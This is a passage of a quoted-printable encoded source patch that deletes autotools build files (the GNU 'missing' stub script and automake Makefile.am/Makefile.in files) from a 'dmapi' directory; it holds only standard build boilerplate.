disable-static - -# Local Variables: -# mode:shell-script -# sh-indentation:2 -# End: Index: b/dmapi/missing =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/dmapi/missing +++ /dev/null @@ -1,360 +0,0 @@ -#! /bin/sh -# Common stub for a few missing GNU programs while installing. - -scriptversion=3D2003-09-02.23 - -# Copyright (C) 1996, 1997, 1999, 2000, 2002, 2003=20 -# Free Software Foundation, Inc. -# Originally by Fran,cois Pinard , 1996. - -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2, or (at your option) -# any later version. - -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. - -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA -# 02111-1307, USA. - -# As a special exception to the GNU General Public License, if you -# distribute this file as part of a program that contains a -# configuration script generated by Autoconf, you may include it under -# the same distribution terms that you use for the rest of that progra= m. - -if test $# -eq 0; then - echo 1>&2 "Try \`$0 --help' for more information" - exit 1 -fi - -run=3D: - -# In the cases where this matters, `missing' is being run in the -# srcdir already. -if test -f configure.ac; then - configure_ac=3Dconfigure.ac -else - configure_ac=3Dconfigure.in -fi - -msg=3D"missing on your system" - -case "$1" in ---run) - # Try to run requested program, and just exit if it succeeds. - run=3D - shift - "$@" && exit 0 - # Exit code 63 means version mismatch. This often happens - # when the user try to use an ancient version of a tool on - # a file that requires a minimum version. In this case we - # we should proceed has if the program had been absent, or - # if --run hadn't been passed. - if test $? =3D 63; then - run=3D: - msg=3D"probably too old" - fi - ;; -esac - -# If it does not exist, or fails to run (possibly an outdated version)= , -# try to emulate it. -case "$1" in - - -h|--h|--he|--hel|--help) - echo "\ -$0 [OPTION]... PROGRAM [ARGUMENT]... - -Handle \`PROGRAM [ARGUMENT]...' for when PROGRAM is missing, or return= an -error status if there is no known handling for PROGRAM. - -Options: - -h, --help display this help and exit - -v, --version output version information and exit - --run try to run the given command, and emulate it if it f= ails - -Supported PROGRAM values: - aclocal touch file \`aclocal.m4' - autoconf touch file \`configure' - autoheader touch file \`config.h.in' - automake touch all \`Makefile.in' files - bison create \`y.tab.[ch]', if possible, from existing .[ch] - flex create \`lex.yy.c', if possible, from existing .c - help2man touch the output file - lex create \`lex.yy.c', if possible, from existing .c - makeinfo touch the output file - tar try tar, gnutar, gtar, then tar without non-portable fl= ags - yacc create \`y.tab.[ch]', if possible, from existing .[ch] - -Send bug reports to ." - ;; - - -v|--v|--ve|--ver|--vers|--versi|--versio|--version) - echo "missing $scriptversion (GNU Automake)" - ;; - - -*) - echo 1>&2 "$0: Unknown \`$1' option" - echo 1>&2 "Try \`$0 --help' for more information" - exit 1 - ;; - - aclocal*) - if test -z "$run" && ($1 --version) > /dev/null 2>&1; then - # We have it, but it failed. - exit 1 - fi - - echo 1>&2 "\ -WARNING: \`$1' is $msg. You should only need it if - you modified \`acinclude.m4' or \`${configure_ac}'. You migh= t want - to install the \`Automake' and \`Perl' packages. Grab them f= rom - any GNU archive site." - touch aclocal.m4 - ;; - - autoconf) - if test -z "$run" && ($1 --version) > /dev/null 2>&1; then - # We have it, but it failed. - exit 1 - fi - - echo 1>&2 "\ -WARNING: \`$1' is $msg. You should only need it if - you modified \`${configure_ac}'. You might want to install t= he - \`Autoconf' and \`GNU m4' packages. Grab them from any GNU - archive site." - touch configure - ;; - - autoheader) - if test -z "$run" && ($1 --version) > /dev/null 2>&1; then - # We have it, but it failed. - exit 1 - fi - - echo 1>&2 "\ -WARNING: \`$1' is $msg. You should only need it if - you modified \`acconfig.h' or \`${configure_ac}'. You might = want - to install the \`Autoconf' and \`GNU m4' packages. Grab them - from any GNU archive site." - files=3D`sed -n 's/^[ ]*A[CM]_CONFIG_HEADER(\([^)]*\)).*/\1/p' ${c= onfigure_ac}` - test -z "$files" && files=3D"config.h" - touch_files=3D - for f in $files; do - case "$f" in - *:*) touch_files=3D"$touch_files "`echo "$f" | -=09=09=09=09 sed -e 's/^[^:]*://' -e 's/:.*//'`;; - *) touch_files=3D"$touch_files $f.in";; - esac - done - touch $touch_files - ;; - - automake*) - if test -z "$run" && ($1 --version) > /dev/null 2>&1; then - # We have it, but it failed. - exit 1 - fi - - echo 1>&2 "\ -WARNING: \`$1' is $msg. You should only need it if - you modified \`Makefile.am', \`acinclude.m4' or \`${configure= _ac}'. - You might want to install the \`Automake' and \`Perl' package= s. - Grab them from any GNU archive site." - find . -type f -name Makefile.am -print | -=09 sed 's/\.am$/.in/' | -=09 while read f; do touch "$f"; done - ;; - - autom4te) - if test -z "$run" && ($1 --version) > /dev/null 2>&1; then - # We have it, but it failed. - exit 1 - fi - - echo 1>&2 "\ -WARNING: \`$1' is needed, but is $msg. - You might have modified some files without having the - proper tools for further handling them. - You can get \`$1' as part of \`Autoconf' from any GNU - archive site." - - file=3D`echo "$*" | sed -n 's/.*--output[ =3D]*\([^ ]*\).*/\1/p'` - test -z "$file" && file=3D`echo "$*" | sed -n 's/.*-o[ ]*\([^ ]*\)= .*/\1/p'` - if test -f "$file"; then -=09touch $file - else -=09test -z "$file" || exec >$file -=09echo "#! /bin/sh" -=09echo "# Created by GNU Automake missing as a replacement of" -=09echo "# $ $@" -=09echo "exit 0" -=09chmod +x $file -=09exit 1 - fi - ;; - - bison|yacc) - echo 1>&2 "\ -WARNING: \`$1' $msg. You should only need it if - you modified a \`.y' file. You may need the \`Bison' package - in order for those modifications to take effect. You can get - \`Bison' from any GNU archive site." - rm -f y.tab.c y.tab.h - if [ $# -ne 1 ]; then - eval LASTARG=3D"\${$#}" -=09case "$LASTARG" in -=09*.y) -=09 SRCFILE=3D`echo "$LASTARG" | sed 's/y$/c/'` -=09 if [ -f "$SRCFILE" ]; then -=09 cp "$SRCFILE" y.tab.c -=09 fi -=09 SRCFILE=3D`echo "$LASTARG" | sed 's/y$/h/'` -=09 if [ -f "$SRCFILE" ]; then -=09 cp "$SRCFILE" y.tab.h -=09 fi -=09 ;; -=09esac - fi - if [ ! -f y.tab.h ]; then -=09echo >y.tab.h - fi - if [ ! -f y.tab.c ]; then -=09echo 'main() { return 0; }' >y.tab.c - fi - ;; - - lex|flex) - echo 1>&2 "\ -WARNING: \`$1' is $msg. You should only need it if - you modified a \`.l' file. You may need the \`Flex' package - in order for those modifications to take effect. You can get - \`Flex' from any GNU archive site." - rm -f lex.yy.c - if [ $# -ne 1 ]; then - eval LASTARG=3D"\${$#}" -=09case "$LASTARG" in -=09*.l) -=09 SRCFILE=3D`echo "$LASTARG" | sed 's/l$/c/'` -=09 if [ -f "$SRCFILE" ]; then -=09 cp "$SRCFILE" lex.yy.c -=09 fi -=09 ;; -=09esac - fi - if [ ! -f lex.yy.c ]; then -=09echo 'main() { return 0; }' >lex.yy.c - fi - ;; - - help2man) - if test -z "$run" && ($1 --version) > /dev/null 2>&1; then - # We have it, but it failed. - exit 1 - fi - - echo 1>&2 "\ -WARNING: \`$1' is $msg. You should only need it if -=09 you modified a dependency of a manual page. You may need the -=09 \`Help2man' package in order for those modifications to take -=09 effect. You can get \`Help2man' from any GNU archive site." - - file=3D`echo "$*" | sed -n 's/.*-o \([^ ]*\).*/\1/p'` - if test -z "$file"; then -=09file=3D`echo "$*" | sed -n 's/.*--output=3D\([^ ]*\).*/\1/p'` - fi - if [ -f "$file" ]; then -=09touch $file - else -=09test -z "$file" || exec >$file -=09echo ".ab help2man is required to generate this page" -=09exit 1 - fi - ;; - - makeinfo) - if test -z "$run" && (makeinfo --version) > /dev/null 2>&1; then - # We have makeinfo, but it failed. - exit 1 - fi - - echo 1>&2 "\ -WARNING: \`$1' is $msg. You should only need it if - you modified a \`.texi' or \`.texinfo' file, or any other fil= e - indirectly affecting the aspect of the manual. The spurious - call might also be the consequence of using a buggy \`make' (= AIX, - DU, IRIX). You might want to install the \`Texinfo' package = or - the \`GNU make' package. Grab either from any GNU archive si= te." - file=3D`echo "$*" | sed -n 's/.*-o \([^ ]*\).*/\1/p'` - if test -z "$file"; then - file=3D`echo "$*" | sed 's/.* \([^ ]*\) *$/\1/'` - file=3D`sed -n '/^@setfilename/ { s/.* \([^ ]*\) *$/\1/; p; q; }= ' $file` - fi - touch $file - ;; - - tar) - shift - if test -n "$run"; then - echo 1>&2 "ERROR: \`tar' requires --run" - exit 1 - fi - - # We have already tried tar in the generic part. - # Look for gnutar/gtar before invocation to avoid ugly error - # messages. - if (gnutar --version > /dev/null 2>&1); then - gnutar "$@" && exit 0 - fi - if (gtar --version > /dev/null 2>&1); then - gtar "$@" && exit 0 - fi - firstarg=3D"$1" - if shift; then -=09case "$firstarg" in -=09*o*) -=09 firstarg=3D`echo "$firstarg" | sed s/o//` -=09 tar "$firstarg" "$@" && exit 0 -=09 ;; -=09esac -=09case "$firstarg" in -=09*h*) -=09 firstarg=3D`echo "$firstarg" | sed s/h//` -=09 tar "$firstarg" "$@" && exit 0 -=09 ;; -=09esac - fi - - echo 1>&2 "\ -WARNING: I can't seem to be able to run \`tar' with the given argument= s. - You may want to install GNU tar or Free paxutils, or check th= e - command line arguments." - exit 1 - ;; - - *) - echo 1>&2 "\ -WARNING: \`$1' is needed, and is $msg. - You might have modified some files without having the - proper tools for further handling them. Check the \`README' = file, - it often tells you about the needed prerequisites for install= ing - this package. You may also peek at any GNU archive site, in = case - some other package would contain this missing \`$1' program." - exit 1 - ;; -esac - -exit 0 - -# Local variables: -# eval: (add-hook 'write-file-hooks 'time-stamp) -# time-stamp-start: "scriptversion=3D" -# time-stamp-format: "%:y-%02m-%02d.%02H" -# time-stamp-end: "$" -# End: Index: b/dmapi/src/Makefile.am =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/dmapi/src/Makefile.am +++ /dev/null @@ -1,8 +0,0 @@ -## Process this file with automake to produce Makefile.in - -SUBDIRS =3D \ -=09common \ -=09simple \ -=09sample_hsm \ -=09suite1 \ -=09suite2 Index: b/dmapi/src/Makefile.in =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/dmapi/src/Makefile.in +++ /dev/null @@ -1,459 +0,0 @@ -# Makefile.in generated by automake 1.9.1 from Makefile.am. -# @configure_input@ - -# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, -# 2003, 2004 Free Software Foundation, Inc. -# This Makefile.in is free software; the Free Software Foundation -# gives unlimited permission to copy and/or distribute it, -# with or without modifications, as long as this notice is preserved. - -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY, to the extent permitted by law; without -# even the implied warranty of MERCHANTABILITY or FITNESS FOR A -# PARTICULAR PURPOSE. - -@SET_MAKE@ -srcdir =3D @srcdir@ -top_srcdir =3D @top_srcdir@ -VPATH =3D @srcdir@ -pkgdatadir =3D $(datadir)/@PACKAGE@ -pkglibdir =3D $(libdir)/@PACKAGE@ -pkgincludedir =3D $(includedir)/@PACKAGE@ -top_builddir =3D .. -am__cd =3D CDPATH=3D"$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd -INSTALL =3D @INSTALL@ -install_sh_DATA =3D $(install_sh) -c -m 644 -install_sh_PROGRAM =3D $(install_sh) -c -install_sh_SCRIPT =3D $(install_sh) -c -INSTALL_HEADER =3D $(INSTALL_DATA) -transform =3D $(program_transform_name) -NORMAL_INSTALL =3D : -PRE_INSTALL =3D : -POST_INSTALL =3D : -NORMAL_UNINSTALL =3D : -PRE_UNINSTALL =3D : -POST_UNINSTALL =3D : -build_triplet =3D @build@ -host_triplet =3D @host@ -subdir =3D src -DIST_COMMON =3D $(srcdir)/Makefile.am $(srcdir)/Makefile.in -ACLOCAL_M4 =3D $(top_srcdir)/aclocal.m4 -am__aclocal_m4_deps =3D $(top_srcdir)/configure.ac -am__configure_deps =3D $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES= ) \ -=09$(ACLOCAL_M4) -mkinstalldirs =3D $(install_sh) -d -CONFIG_CLEAN_FILES =3D -SOURCES =3D -DIST_SOURCES =3D -RECURSIVE_TARGETS =3D all-recursive check-recursive dvi-recursive \ -=09html-recursive info-recursive install-data-recursive \ -=09install-exec-recursive install-info-recursive \ -=09install-recursive installcheck-recursive installdirs-recursive \ -=09pdf-recursive ps-recursive uninstall-info-recursive \ -=09uninstall-recursive -ETAGS =3D etags -CTAGS =3D ctags -DIST_SUBDIRS =3D $(SUBDIRS) -DISTFILES =3D $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) -ACLOCAL =3D @ACLOCAL@ -AMDEP_FALSE =3D @AMDEP_FALSE@ -AMDEP_TRUE =3D @AMDEP_TRUE@ -AMTAR =3D @AMTAR@ -AR =3D @AR@ -AUTOCONF =3D @AUTOCONF@ -AUTOHEADER =3D @AUTOHEADER@ -AUTOMAKE =3D @AUTOMAKE@ -AWK =3D @AWK@ -CC =3D @CC@ -CCDEPMODE =3D @CCDEPMODE@ -CFLAGS =3D @CFLAGS@ -CPP =3D @CPP@ -CPPFLAGS =3D @CPPFLAGS@ -CXX =3D @CXX@ -CXXCPP =3D @CXXCPP@ -CXXDEPMODE =3D @CXXDEPMODE@ -CXXFLAGS =3D @CXXFLAGS@ -CYGPATH_W =3D @CYGPATH_W@ -DEFS =3D @DEFS@ -DEPDIR =3D @DEPDIR@ -ECHO =3D @ECHO@ -ECHO_C =3D @ECHO_C@ -ECHO_N =3D @ECHO_N@ -ECHO_T =3D @ECHO_T@ -EGREP =3D @EGREP@ -EXEEXT =3D @EXEEXT@ -F77 =3D @F77@ -FFLAGS =3D @FFLAGS@ -INSTALL_DATA =3D @INSTALL_DATA@ -INSTALL_PROGRAM =3D @INSTALL_PROGRAM@ -INSTALL_SCRIPT =3D @INSTALL_SCRIPT@ -INSTALL_STRIP_PROGRAM =3D @INSTALL_STRIP_PROGRAM@ -LDFLAGS =3D @LDFLAGS@ -LIBOBJS =3D @LIBOBJS@ -LIBS =3D @LIBS@ -LIBTOOL =3D @LIBTOOL@ -LN_S =3D @LN_S@ -LTLIBOBJS =3D @LTLIBOBJS@ -MAKEINFO =3D @MAKEINFO@ -OBJEXT =3D @OBJEXT@ -PACKAGE =3D @PACKAGE@ -PACKAGE_BUGREPORT =3D @PACKAGE_BUGREPORT@ -PACKAGE_NAME =3D @PACKAGE_NAME@ -PACKAGE_STRING =3D @PACKAGE_STRING@ -PACKAGE_TARNAME =3D @PACKAGE_TARNAME@ -PACKAGE_VERSION =3D @PACKAGE_VERSION@ -PATH_SEPARATOR =3D @PATH_SEPARATOR@ -RANLIB =3D @RANLIB@ -SET_MAKE =3D @SET_MAKE@ -SHELL =3D @SHELL@ -STRIP =3D @STRIP@ -VERSION =3D @VERSION@ -ac_ct_AR =3D @ac_ct_AR@ -ac_ct_CC =3D @ac_ct_CC@ -ac_ct_CXX =3D @ac_ct_CXX@ -ac_ct_F77 =3D @ac_ct_F77@ -ac_ct_RANLIB =3D @ac_ct_RANLIB@ -ac_ct_STRIP =3D @ac_ct_STRIP@ -am__fastdepCC_FALSE =3D @am__fastdepCC_FALSE@ -am__fastdepCC_TRUE =3D @am__fastdepCC_TRUE@ -am__fastdepCXX_FALSE =3D @am__fastdepCXX_FALSE@ -am__fastdepCXX_TRUE =3D @am__fastdepCXX_TRUE@ -am__include =3D @am__include@ -am__leading_dot =3D @am__leading_dot@ -am__quote =3D @am__quote@ -am__tar =3D @am__tar@ -am__untar =3D @am__untar@ -bindir =3D @bindir@ -build =3D @build@ -build_alias =3D @build_alias@ -build_cpu =3D @build_cpu@ -build_os =3D @build_os@ -build_vendor =3D @build_vendor@ -datadir =3D @datadir@ -exec_prefix =3D @exec_prefix@ -host =3D @host@ -host_alias =3D @host_alias@ -host_cpu =3D @host_cpu@ -host_os =3D @host_os@ -host_vendor =3D @host_vendor@ -includedir =3D @includedir@ -infodir =3D @infodir@ -install_sh =3D @install_sh@ -libdir =3D @libdir@ -libexecdir =3D @libexecdir@ -localstatedir =3D @localstatedir@ -mandir =3D @mandir@ -mkdir_p =3D @mkdir_p@ -oldincludedir =3D @oldincludedir@ -prefix =3D @prefix@ -program_transform_name =3D @program_transform_name@ -sbindir =3D @sbindir@ -sharedstatedir =3D @sharedstatedir@ -sysconfdir =3D @sysconfdir@ -target_alias =3D @target_alias@ -SUBDIRS =3D \ -=09common \ -=09simple \ -=09sample_hsm \ -=09suite1 \ -=09suite2 - -all: all-recursive - -.SUFFIXES: -$(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps) -=09@for dep in $?; do \ -=09 case '$(am__configure_deps)' in \ -=09 *$$dep*) \ -=09 cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \ -=09=09&& exit 0; \ -=09 exit 1;; \ -=09 esac; \ -=09done; \ -=09echo ' cd $(top_srcdir) && $(AUTOMAKE) --gnu src/Makefile'; \ -=09cd $(top_srcdir) && \ -=09 $(AUTOMAKE) --gnu src/Makefile -.PRECIOUS: Makefile -Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status -=09@case '$?' in \ -=09 *config.status*) \ -=09 cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \ -=09 *) \ -=09 echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)= /$@ $(am__depfiles_maybe)'; \ -=09 cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(a= m__depfiles_maybe);; \ -=09esac; - -$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS= _DEPENDENCIES) -=09cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh - -$(top_srcdir)/configure: $(am__configure_deps) -=09cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh -$(ACLOCAL_M4): $(am__aclocal_m4_deps) -=09cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh - -mostlyclean-libtool: -=09-rm -f *.lo - -clean-libtool: -=09-rm -rf .libs _libs - -distclean-libtool: -=09-rm -f libtool -uninstall-info-am: - -# This directory's subdirectories are mostly independent; you can cd -# into them and run `make' without going through this Makefile. -# To change the values of `make' variables: instead of editing Makefil= es, -# (1) if the variable is set in `config.status', edit `config.status' -# (which will cause the Makefiles to be regenerated when you run `= make'); -# (2) otherwise, pass the desired values on the `make' command line. -$(RECURSIVE_TARGETS): -=09@set fnord $$MAKEFLAGS; amf=3D$$2; \ -=09dot_seen=3Dno; \ -=09target=3D`echo $@ | sed s/-recursive//`; \ -=09list=3D'$(SUBDIRS)'; for subdir in $$list; do \ -=09 echo "Making $$target in $$subdir"; \ -=09 if test "$$subdir" =3D "."; then \ -=09 dot_seen=3Dyes; \ -=09 local_target=3D"$$target-am"; \ -=09 else \ -=09 local_target=3D"$$target"; \ -=09 fi; \ -=09 (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \ -=09 || case "$$amf" in *=3D*) exit 1;; *k*) fail=3Dyes;; *) exit 1;;= esac; \ -=09done; \ -=09if test "$$dot_seen" =3D "no"; then \ -=09 $(MAKE) $(AM_MAKEFLAGS) "$$target-am" || exit 1; \ -=09fi; test -z "$$fail" - -mostlyclean-recursive clean-recursive distclean-recursive \ -maintainer-clean-recursive: -=09@set fnord $$MAKEFLAGS; amf=3D$$2; \ -=09dot_seen=3Dno; \ -=09case "$@" in \ -=09 distclean-* | maintainer-clean-*) list=3D'$(DIST_SUBDIRS)' ;; \ -=09 *) list=3D'$(SUBDIRS)' ;; \ -=09esac; \ -=09rev=3D''; for subdir in $$list; do \ -=09 if test "$$subdir" =3D "."; then :; else \ -=09 rev=3D"$$subdir $$rev"; \ -=09 fi; \ -=09done; \ -=09rev=3D"$$rev ."; \ -=09target=3D`echo $@ | sed s/-recursive//`; \ -=09for subdir in $$rev; do \ -=09 echo "Making $$target in $$subdir"; \ -=09 if test "$$subdir" =3D "."; then \ -=09 local_target=3D"$$target-am"; \ -=09 else \ -=09 local_target=3D"$$target"; \ -=09 fi; \ -=09 (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \ -=09 || case "$$amf" in *=3D*) exit 1;; *k*) fail=3Dyes;; *) exit 1;;= esac; \ -=09done && test -z "$$fail" -tags-recursive: -=09list=3D'$(SUBDIRS)'; for subdir in $$list; do \ -=09 test "$$subdir" =3D . || (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) = tags); \ -=09done -ctags-recursive: -=09list=3D'$(SUBDIRS)'; for subdir in $$list; do \ -=09 test "$$subdir" =3D . || (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) = ctags); \ -=09done - -ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES) -=09list=3D'$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ -=09unique=3D`for i in $$list; do \ -=09 if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ -=09 done | \ -=09 $(AWK) ' { files[$$0] =3D 1; } \ -=09 END { for (i in files) print i; }'`; \ -=09mkid -fID $$unique -tags: TAGS - -TAGS: tags-recursive $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ -=09=09$(TAGS_FILES) $(LISP) -=09tags=3D; \ -=09here=3D`pwd`; \ -=09if ($(ETAGS) --etags-include --version) >/dev/null 2>&1; then \ -=09 include_option=3D--etags-include; \ -=09 empty_fix=3D.; \ -=09else \ -=09 include_option=3D--include; \ -=09 empty_fix=3D; \ -=09fi; \ -=09list=3D'$(SUBDIRS)'; for subdir in $$list; do \ -=09 if test "$$subdir" =3D .; then :; else \ -=09 test ! -f $$subdir/TAGS || \ -=09 tags=3D"$$tags $$include_option=3D$$here/$$subdir/TAGS"; \ -=09 fi; \ -=09done; \ -=09list=3D'$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ -=09unique=3D`for i in $$list; do \ -=09 if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ -=09 done | \ -=09 $(AWK) ' { files[$$0] =3D 1; } \ -=09 END { for (i in files) print i; }'`; \ -=09if test -z "$(ETAGS_ARGS)$$tags$$unique"; then :; else \ -=09 test -n "$$unique" || unique=3D$$empty_fix; \ -=09 $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ -=09 $$tags $$unique; \ -=09fi -ctags: CTAGS -CTAGS: ctags-recursive $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ -=09=09$(TAGS_FILES) $(LISP) -=09tags=3D; \ -=09here=3D`pwd`; \ -=09list=3D'$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ -=09unique=3D`for i in $$list; do \ -=09 if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ -=09 done | \ -=09 $(AWK) ' { files[$$0] =3D 1; } \ -=09 END { for (i in files) print i; }'`; \ -=09test -z "$(CTAGS_ARGS)$$tags$$unique" \ -=09 || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \ -=09 $$tags $$unique - -GTAGS: -=09here=3D`$(am__cd) $(top_builddir) && pwd` \ -=09 && cd $(top_srcdir) \ -=09 && gtags -i $(GTAGS_ARGS) $$here - -distclean-tags: -=09-rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags - -distdir: $(DISTFILES) -=09@srcdirstrip=3D`echo "$(srcdir)" | sed 's|.|.|g'`; \ -=09topsrcdirstrip=3D`echo "$(top_srcdir)" | sed 's|.|.|g'`; \ -=09list=3D'$(DISTFILES)'; for file in $$list; do \ -=09 case $$file in \ -=09 $(srcdir)/*) file=3D`echo "$$file" | sed "s|^$$srcdirstrip/||"`= ;; \ -=09 $(top_srcdir)/*) file=3D`echo "$$file" | sed "s|^$$topsrcdirstr= ip/|$(top_builddir)/|"`;; \ -=09 esac; \ -=09 if test -f $$file || test -d $$file; then d=3D.; else d=3D$(srcdi= r); fi; \ -=09 dir=3D`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \ -=09 if test "$$dir" !=3D "$$file" && test "$$dir" !=3D "."; then \ -=09 dir=3D"/$$dir"; \ -=09 $(mkdir_p) "$(distdir)$$dir"; \ -=09 else \ -=09 dir=3D''; \ -=09 fi; \ -=09 if test -d $$d/$$file; then \ -=09 if test -d $(srcdir)/$$file && test $$d !=3D $(srcdir); then \ -=09 cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \ -=09 fi; \ -=09 cp -pR $$d/$$file $(distdir)$$dir || exit 1; \ -=09 else \ -=09 test -f $(distdir)/$$file \ -=09 || cp -p $$d/$$file $(distdir)/$$file \ -=09 || exit 1; \ -=09 fi; \ -=09done -=09list=3D'$(DIST_SUBDIRS)'; for subdir in $$list; do \ -=09 if test "$$subdir" =3D .; then :; else \ -=09 test -d "$(distdir)/$$subdir" \ -=09 || $(mkdir_p) "$(distdir)/$$subdir" \ -=09 || exit 1; \ -=09 distdir=3D`$(am__cd) $(distdir) && pwd`; \ -=09 top_distdir=3D`$(am__cd) $(top_distdir) && pwd`; \ -=09 (cd $$subdir && \ -=09 $(MAKE) $(AM_MAKEFLAGS) \ -=09 top_distdir=3D"$$top_distdir" \ -=09 distdir=3D"$$distdir/$$subdir" \ -=09 distdir) \ -=09 || exit 1; \ -=09 fi; \ -=09done -check-am: all-am -check: check-recursive -all-am: Makefile -installdirs: installdirs-recursive -installdirs-am: -install: install-recursive -install-exec: install-exec-recursive -install-data: install-data-recursive -uninstall: uninstall-recursive - -install-am: all-am -=09@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am - -installcheck: installcheck-recursive -install-strip: -=09$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM=3D"$(INSTALL_STRIP_PROGRAM)= " \ -=09 install_sh_PROGRAM=3D"$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLA= G=3D-s \ -=09 `test -z '$(STRIP)' || \ -=09 echo "INSTALL_PROGRAM_ENV=3DSTRIPPROG=3D'$(STRIP)'"` install -mostlyclean-generic: - -clean-generic: - -distclean-generic: -=09-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) - -maintainer-clean-generic: -=09@echo "This command is intended for maintainers to use" -=09@echo "it deletes files that may require special tools to rebuild." -clean: clean-recursive - -clean-am: clean-generic clean-libtool mostlyclean-am - -distclean: distclean-recursive -=09-rm -f Makefile -distclean-am: clean-am distclean-generic distclean-libtool \ -=09distclean-tags - -dvi: dvi-recursive - -dvi-am: - -html: html-recursive - -info: info-recursive - -info-am: - -install-data-am: - -install-exec-am: - -install-info: install-info-recursive - -install-man: - -installcheck-am: - -maintainer-clean: maintainer-clean-recursive -=09-rm -f Makefile -maintainer-clean-am: distclean-am maintainer-clean-generic - -mostlyclean: mostlyclean-recursive - -mostlyclean-am: mostlyclean-generic mostlyclean-libtool - -pdf: pdf-recursive - -pdf-am: - -ps: ps-recursive - -ps-am: - -uninstall-am: uninstall-info-am - -uninstall-info: uninstall-info-recursive - -.PHONY: $(RECURSIVE_TARGETS) CTAGS GTAGS all all-am check check-am \ -=09clean clean-generic clean-libtool clean-recursive ctags \ -=09ctags-recursive distclean distclean-generic distclean-libtool \ -=09distclean-recursive distclean-tags distdir dvi dvi-am html \ -=09html-am info info-am install install-am install-data \ -=09install-data-am install-exec install-exec-am install-info \ -=09install-info-am install-man install-strip installcheck \ -=09installcheck-am installdirs installdirs-am maintainer-clean \ -=09maintainer-clean-generic maintainer-clean-recursive \ -=09mostlyclean mostlyclean-generic mostlyclean-libtool \ -=09mostlyclean-recursive pdf pdf-am ps ps-am tags tags-recursive \ -=09uninstall uninstall-am uninstall-info-am - -# Tell versions [3.59,3.63) of GNU make to not export all variables. -# Otherwise a system limit (for SysV at least) may be exceeded. -.NOEXPORT: Index: b/dmapi/src/common/Makefile.am =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/dmapi/src/common/Makefile.am +++ /dev/null @@ -1,3 +0,0 @@ -## Process this file with automake to produce Makefile.in - -SUBDIRS =3D lib cmd Index: b/dmapi/src/common/Makefile.in =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= 